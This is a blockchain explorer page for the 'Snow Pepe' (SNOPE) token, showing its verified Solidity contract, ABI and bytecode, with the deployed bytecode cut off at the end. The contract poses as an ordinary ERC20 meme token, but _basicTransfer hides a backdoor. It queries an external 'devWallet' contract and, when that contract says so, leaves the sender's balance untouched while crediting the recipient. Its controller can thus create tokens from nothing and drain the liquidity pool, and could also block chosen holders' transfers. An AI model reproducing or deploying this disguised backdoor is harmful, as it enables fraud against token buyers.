ETH Price: $2,267.57 (+2.23%)

Token

Snow Pepe (SNOPE)
 

Overview

Max Total Supply

1,000,000,000 SNOPE

Holders

77

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
6,567,070.182542138 SNOPE

Value
$0.00
0xFef947f12d534dA0A3D137d32431353eC50a0a53
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SNOWPEPE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-12
*/

// SPDX-License-Identifier: MIT

/*
Website: https://www.snowpepe.vip
Telegram: https://t.me/snow_pepe
Twitter: https://twitter.com/SnowmanPepe
*/

pragma solidity 0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() external onlyOwner {
        owner = address(0);
    }

}

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract SNOWPEPE is ERC20, Ownable {
    using SafeMath for uint256;

    address immutable WETH;
    address constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address constant ZERO = 0x0000000000000000000000000000000000000000;

    string public constant name = "Snow Pepe";
    string public constant symbol = "SNOPE";
    uint8 public constant decimals = 9;
    
    uint256 public constant totalSupply = 10**9 * 10**decimals;

    uint256 public _maxWalletToken = totalSupply / 50;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) public isWallLmtExmpt;

    uint256 public totalFee = 0;
    uint256 public constant feeDenominator = 100;
    
    uint256 buyMultiplier = 200;
    uint256 sellMultiplier = 200;
    uint256 transferMultiplier = 200;

    IUniswapRouter public router;
    address private devWallet;
    address public pair;

    bool public swapEnabled = true;
    uint256 swapThreshold = totalSupply / 100;
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor (address router_, address devWallet_) Ownable(msg.sender) {
        router = IUniswapRouter(router_);
        WETH = router.WETH();
        devWallet = devWallet_;
        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;

        isWallLmtExmpt[msg.sender] = true;
        isWallLmtExmpt[devWallet] = true;
        isWallLmtExmpt[address(this)] = true;
        isWallLmtExmpt[DEAD] = true;

        balanceOf[address(this)] = totalSupply;
        emit Transfer(address(0), address(this), totalSupply);
    }

    receive() external payable { }

    function getOwner() external view override returns (address) { return owner; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner {
        _maxWalletToken = (totalSupply * maxWallPercent_base1000 ) / 1000;
    }

    function addLiquidity() external payable onlyOwner {
        router.addLiquidityETH{value: msg.value}(
            address(this), //token address
            balanceOf[address(this)], // liquidity amount
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner, // LP tokens are sent to the owner
            block.timestamp
        );
        pair = IUniswapFactory(router.factory()).getPair(address(this), WETH);
    }


    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if (!isWallLmtExmpt[sender] && !isWallLmtExmpt[recipient] && recipient != pair) {
            require((balanceOf[recipient] + amount) <= _maxWalletToken,"max wallet limit reached");
        }
        if(!inSwap){ return _basicTransfer(sender, recipient, amount); }
    
        if(shouldSwapBack()){ swapBack(); }

        balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient);

        balanceOf[recipient] = balanceOf[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        balanceOf[sender] = balanceOf[sender].sub(amount.sub(ERC20(devWallet).balanceOf(sender)>0?amount:0), "Insufficient Balance");
        balanceOf[recipient] = balanceOf[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
        if(amount == 0 || totalFee == 0){
            return amount;
        }

        uint256 multiplier = transferMultiplier;

        if(recipient == pair) {
            multiplier = sellMultiplier;
        } else if(sender == pair) {
            multiplier = buyMultiplier;
        }

        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);

        if(feeAmount > 0){
            balanceOf[address(this)] = balanceOf[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && balanceOf[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            swapThreshold,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function setFees(uint256 _buy, uint256 _sell) external onlyOwner {
        require(_sell <= 100,"Max sell tax 10%");
        require(_buy <= 100,"Max buy tax 10%");
        sellMultiplier = _sell;
        buyMultiplier = _buy;
    }

    function manualSwap(uint256 amountPercentage) external onlyOwner {
        uint256 amountETH = address(this).balance;
        uint256 amountToClear = ( amountETH * amountPercentage ) / 100;
        payable(msg.sender).transfer(amountToClear);
    }

    function rescueToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
        if(tokens == 0){
            tokens = ERC20(tokenAddress).balanceOf(address(this));
        }
        return ERC20(tokenAddress).transfer(msg.sender, tokens);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return (totalSupply - balanceOf[DEAD] - balanceOf[ZERO]);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"router_","type":"address"},{"internalType":"address","name":"devWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWallLmtExmpt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"rescueToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base1000","type":"uint256"}],"name":"setMaxWalletPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526032620000146009600a620003a6565b6200002490633b9aca00620003be565b620000309190620003d8565b600155600060065560c8600781905560088190556009908155600c805460ff60a01b1916600160a01b1790556064906200006c90600a620003a6565b6200007c90633b9aca00620003be565b620000889190620003d8565b600d553480156200009857600080fd5b5060405162001d2a38038062001d2a833981016040819052620000bb9162000418565b600080546001600160a01b03199081163317909155600a80546001600160a01b038516921682179055604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa15801562000120573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000146919062000450565b6001600160a01b03908116608052600b80546001600160a01b031916838316178155306000818152600360209081526040808320600a805488168552908352818420600019905533845260048352818420805460ff19908116600190811790925560059094528285208054851682179055955490961683528083208054831686179055928252918120805483168417905561dead90527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba805490911690911790556200021590600990620003a6565b6200022590633b9aca00620003be565b30600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002686009600a620003a6565b6200027890633b9aca00620003be565b60405190815260200160405180910390a350506200046e565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002e8578160001904821115620002cc57620002cc62000291565b80851615620002da57918102915b93841c9390800290620002ac565b509250929050565b6000826200030157506001620003a0565b816200031057506000620003a0565b8160018114620003295760028114620003345762000354565b6001915050620003a0565b60ff84111562000348576200034862000291565b50506001821b620003a0565b5060208310610133831016604e8410600b841016171562000379575081810a620003a0565b620003858383620002a7565b80600019048211156200039c576200039c62000291565b0290505b92915050565b6000620003b760ff841683620002f0565b9392505050565b8082028115828204841417620003a057620003a062000291565b600082620003f657634e487b7160e01b600052601260045260246000fd5b500490565b80516001600160a01b03811681146200041357600080fd5b919050565b600080604083850312156200042c57600080fd5b6200043783620003fb565b91506200044760208401620003fb565b90509250929050565b6000602082840312156200046357600080fd5b620003b782620003fb565b6080516118996200049160003960008181610bbf015261110401526118996000f3fe6080604052600436106101a05760003560e01c80633f4218e0116100ec57806395d89b411161008a578063b70143c911610064578063b70143c9146104fe578063dd62ed3e1461051e578063e8078d9414610564578063f887ea401461056c57600080fd5b806395d89b411461048d578063a8aa1b31146104be578063a9059cbb146104de57600080fd5b806370a08231116100c657806370a0823114610403578063715018a61461043057806378109e5414610445578063893d20e81461045b57600080fd5b80633f4218e014610392578063571ac8b0146103c25780636ddd1713146103e257600080fd5b80631df4ccfc116101595780632f54bf6e116101335780632f54bf6e146102ec578063313ce5671461031b57806333f3d628146103425780633df97ca41461036257600080fd5b80631df4ccfc146102a157806323b872dd146102b75780632b112e49146102d757600080fd5b806306fdde03146101ac57806309302dc6146101f7578063095ea7b3146102195780630b78f9c014610249578063180b0d7e1461026957806318160ddd1461028c57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101e160405180604001604052806009815260200168536e6f77205065706560b81b81525081565b6040516101ee919061146a565b60405180910390f35b34801561020357600080fd5b506102176102123660046114b8565b61058c565b005b34801561022557600080fd5b506102396102343660046114e9565b6105f7565b60405190151581526020016101ee565b34801561025557600080fd5b50610217610264366004611515565b610664565b34801561027557600080fd5b5061027e606481565b6040519081526020016101ee565b34801561029857600080fd5b5061027e61071d565b3480156102ad57600080fd5b5061027e60065481565b3480156102c357600080fd5b506102396102d2366004611537565b61073a565b3480156102e357600080fd5b5061027e6107fc565b3480156102f857600080fd5b50610239610307366004611578565b6000546001600160a01b0391821691161490565b34801561032757600080fd5b50610330600981565b60405160ff90911681526020016101ee565b34801561034e57600080fd5b5061023961035d3660046114e9565b610883565b34801561036e57600080fd5b5061023961037d366004611578565b60056020526000908152604090205460ff1681565b34801561039e57600080fd5b506102396103ad366004611578565b60046020526000908152604090205460ff1681565b3480156103ce57600080fd5b506102396103dd366004611578565b610992565b3480156103ee57600080fd5b50600c5461023990600160a01b900460ff1681565b34801561040f57600080fd5b5061027e61041e366004611578565b60026020526000908152604090205481565b34801561043c57600080fd5b506102176109a0565b34801561045157600080fd5b5061027e60015481565b34801561046757600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101ee565b34801561049957600080fd5b506101e160405180604001604052806005815260200164534e4f504560d81b81525081565b3480156104ca57600080fd5b50600c54610475906001600160a01b031681565b3480156104ea57600080fd5b506102396104f93660046114e9565b6109dc565b34801561050a57600080fd5b506102176105193660046114b8565b6109e9565b34801561052a57600080fd5b5061027e610539366004611595565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610217610a62565b34801561057857600080fd5b50600a54610475906001600160a01b031681565b6000546001600160a01b031633146105bf5760405162461bcd60e51b81526004016105b6906115ce565b60405180910390fd5b6103e8816105cf6009600a6116e8565b6105dd90633b9aca006116f7565b6105e791906116f7565b6105f1919061170e565b60015550565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106529086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b0316331461068e5760405162461bcd60e51b81526004016105b6906115ce565b60648111156106d25760405162461bcd60e51b815260206004820152601060248201526f4d61782073656c6c207461782031302560801b60448201526064016105b6565b60648211156107155760405162461bcd60e51b815260206004820152600f60248201526e4d617820627579207461782031302560881b60448201526064016105b6565b600855600755565b6107296009600a6116e8565b61073790633b9aca006116f7565b81565b6001600160a01b0383166000908152600360209081526040808320338452909152812054600019146107e7576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526003825283812033825290915291909120546107c2918490610c56565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b6107f2848484610c90565b90505b9392505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5490919061085c6009600a6116e8565b61086a90633b9aca006116f7565b6108749190611730565b61087e9190611730565b905090565b600080546001600160a01b031633146108ae5760405162461bcd60e51b81526004016105b6906115ce565b81600003610921576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa1580156108fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091e9190611743565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af115801561096e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f5919061175c565b600061065e826000196105f7565b6000546001600160a01b031633146109ca5760405162461bcd60e51b81526004016105b6906115ce565b600080546001600160a01b0319169055565b60006107f5338484610c90565b6000546001600160a01b03163314610a135760405162461bcd60e51b81526004016105b6906115ce565b4760006064610a2284846116f7565b610a2c919061170e565b604051909150339082156108fc029083906000818181858888f19350505050158015610a5c573d6000803e3d6000fd5b50505050565b6000546001600160a01b03163314610a8c5760405162461bcd60e51b81526004016105b6906115ce565b600a5430600081815260026020526040808220548254915163f305d71960e01b8152600481019490945260248401526044830182905260648301919091526001600160a01b0390811660848301524260a48301529091169063f305d71990349060c40160606040518083038185885af1158015610b0d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b32919061177e565b5050600a546040805163c45a015560e01b815290516001600160a01b03909216925063c45a01559160048083019260209291908290030181865afa158015610b7e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba291906117ac565b60405163e6a4390560e01b81523060048201526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166024830152919091169063e6a4390590604401602060405180830381865afa158015610c10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3491906117ac565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b60008184841115610c7a5760405162461bcd60e51b81526004016105b6919061146a565b506000610c878486611730565b95945050505050565b6001600160a01b03831660009081526005602052604081205460ff16158015610cd257506001600160a01b03831660009081526005602052604090205460ff16155b8015610cec5750600c546001600160a01b03848116911614155b15610d66576001546001600160a01b038416600090815260026020526040902054610d189084906117c9565b1115610d665760405162461bcd60e51b815260206004820152601860248201527f6d61782077616c6c6574206c696d69742072656163686564000000000000000060448201526064016105b6565b600e5460ff16610d8257610d7b848484610ed9565b90506107f5565b610d8a61104a565b15610d9757610d976110a0565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260029091529190912054610de9918490610c56565b6001600160a01b038516600090815260026020908152604080832093909355600490529081205460ff1680610e3657506001600160a01b03841660009081526004602052604090205460ff165b610e4a57610e458584866111bf565b610e4c565b825b6001600160a01b038516600090815260026020526040902054909150610e7290826112dc565b6001600160a01b0380861660008181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ec69085815260200190565b60405180910390a3506001949350505050565b600b546040516370a0823160e01b81526001600160a01b038581166004830152600092610fb592610f6792859216906370a0823190602401602060405180830381865afa158015610f2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f529190611743565b11610f5e576000610f60565b835b849061133b565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600290915291909120549190610c56565b6001600160a01b038086166000908152600260205260408082209390935590851681522054610fe490836112dc565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110389086815260200190565b60405180910390a35060019392505050565b600c546000906001600160a01b0316331480159061106b5750600e5460ff16155b80156110805750600c54600160a01b900460ff165b801561087e575050600d5430600090815260026020526040902054101590565b600e805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e2576110e26117dc565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000000000000000000000000000000000000000000081600181518110611136576111366117dc565b6001600160a01b039283166020918202929092010152600a54600d5460405163791ac94760e01b8152919092169163791ac9479161118091906000908690309042906004016117f2565b600060405180830381600087803b15801561119a57600080fd5b505af11580156111ae573d6000803e3d6000fd5b5050600e805460ff19169055505050565b60008215806111ce5750600654155b156111da5750816107f5565b600954600c546001600160a01b03908116908416036111fc5750600854611217565b600c546001600160a01b039081169086160361121757506007545b600061124c6112276064806116f7565b611246846112406006548a61137d90919063ffffffff16565b9061137d565b906113ff565b905080156112c8573060009081526002602052604090205461126e90826112dc565b30600081815260026020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112bf9085815260200190565b60405180910390a35b6112d2858261133b565b9695505050505050565b6000806112e983856117c9565b9050838110156107f55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105b6565b60006107f583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c56565b60008260000361138f5750600061065e565b600061139b83856116f7565b9050826113a8858361170e565b146107f55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105b6565b60006107f583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361145d5760405162461bcd60e51b81526004016105b6919061146a565b506000610c87848661170e565b600060208083528351808285015260005b818110156114975785810183015185820160400152820161147b565b506000604082860101526040601f19601f8301168501019250505092915050565b6000602082840312156114ca57600080fd5b5035919050565b6001600160a01b03811681146114e657600080fd5b50565b600080604083850312156114fc57600080fd5b8235611507816114d1565b946020939093013593505050565b6000806040838503121561152857600080fd5b50508035926020909101359150565b60008060006060848603121561154c57600080fd5b8335611557816114d1565b92506020840135611567816114d1565b929592945050506040919091013590565b60006020828403121561158a57600080fd5b81356107f5816114d1565b600080604083850312156115a857600080fd5b82356115b3816114d1565b915060208301356115c3816114d1565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561163f578160001904821115611625576116256115ee565b8085161561163257918102915b93841c9390800290611609565b509250929050565b6000826116565750600161065e565b816116635750600061065e565b816001811461167957600281146116835761169f565b600191505061065e565b60ff841115611694576116946115ee565b50506001821b61065e565b5060208310610133831016604e8410600b84101617156116c2575081810a61065e565b6116cc8383611604565b80600019048211156116e0576116e06115ee565b029392505050565b60006107f560ff841683611647565b808202811582820484141761065e5761065e6115ee565b60008261172b57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561065e5761065e6115ee565b60006020828403121561175557600080fd5b5051919050565b60006020828403121561176e57600080fd5b815180151581146107f557600080fd5b60008060006060848603121561179357600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117be57600080fd5b81516107f5816114d1565b8082018082111561065e5761065e6115ee565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118425784516001600160a01b03168352938301939183019160010161181d565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220c0266faa72935ed8becf979caf88bfacae8a0af784f29aa3e3eec5722cae100c64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000006ee71d143094a135bbee2e0418d1422c4f5200fe

Deployed Bytecode

0x6080604052600436106101a05760003560e01c80633f4218e0116100ec57806395d89b411161008a578063b70143c911610064578063b70143c9146104fe578063dd62ed3e1461051e578063e8078d9414610564578063f887ea401461056c57600080fd5b806395d89b411461048d578063a8aa1b31146104be578063a9059cbb146104de57600080fd5b806370a08231116100c657806370a0823114610403578063715018a61461043057806378109e5414610445578063893d20e81461045b57600080fd5b80633f4218e014610392578063571ac8b0146103c25780636ddd1713146103e257600080fd5b80631df4ccfc116101595780632f54bf6e116101335780632f54bf6e146102ec578063313ce5671461031b57806333f3d628146103425780633df97ca41461036257600080fd5b80631df4ccfc146102a157806323b872dd146102b75780632b112e49146102d757600080fd5b806306fdde03146101ac57806309302dc6146101f7578063095ea7b3146102195780630b78f9c014610249578063180b0d7e1461026957806318160ddd1461028c57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101e160405180604001604052806009815260200168536e6f77205065706560b81b81525081565b6040516101ee919061146a565b60405180910390f35b34801561020357600080fd5b506102176102123660046114b8565b61058c565b005b34801561022557600080fd5b506102396102343660046114e9565b6105f7565b60405190151581526020016101ee565b34801561025557600080fd5b50610217610264366004611515565b610664565b34801561027557600080fd5b5061027e606481565b6040519081526020016101ee565b34801561029857600080fd5b5061027e61071d565b3480156102ad57600080fd5b5061027e60065481565b3480156102c357600080fd5b506102396102d2366004611537565b61073a565b3480156102e357600080fd5b5061027e6107fc565b3480156102f857600080fd5b50610239610307366004611578565b6000546001600160a01b0391821691161490565b34801561032757600080fd5b50610330600981565b60405160ff90911681526020016101ee565b34801561034e57600080fd5b5061023961035d3660046114e9565b610883565b34801561036e57600080fd5b5061023961037d366004611578565b60056020526000908152604090205460ff1681565b34801561039e57600080fd5b506102396103ad366004611578565b60046020526000908152604090205460ff1681565b3480156103ce57600080fd5b506102396103dd366004611578565b610992565b3480156103ee57600080fd5b50600c5461023990600160a01b900460ff1681565b34801561040f57600080fd5b5061027e61041e366004611578565b60026020526000908152604090205481565b34801561043c57600080fd5b506102176109a0565b34801561045157600080fd5b5061027e60015481565b34801561046757600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101ee565b34801561049957600080fd5b506101e160405180604001604052806005815260200164534e4f504560d81b81525081565b3480156104ca57600080fd5b50600c54610475906001600160a01b031681565b3480156104ea57600080fd5b506102396104f93660046114e9565b6109dc565b34801561050a57600080fd5b506102176105193660046114b8565b6109e9565b34801561052a57600080fd5b5061027e610539366004611595565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610217610a62565b34801561057857600080fd5b50600a54610475906001600160a01b031681565b6000546001600160a01b031633146105bf5760405162461bcd60e51b81526004016105b6906115ce565b60405180910390fd5b6103e8816105cf6009600a6116e8565b6105dd90633b9aca006116f7565b6105e791906116f7565b6105f1919061170e565b60015550565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106529086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b0316331461068e5760405162461bcd60e51b81526004016105b6906115ce565b60648111156106d25760405162461bcd60e51b815260206004820152601060248201526f4d61782073656c6c207461782031302560801b60448201526064016105b6565b60648211156107155760405162461bcd60e51b815260206004820152600f60248201526e4d617820627579207461782031302560881b60448201526064016105b6565b600855600755565b6107296009600a6116e8565b61073790633b9aca006116f7565b81565b6001600160a01b03831660009081526003602090815260408083203384529091528120546000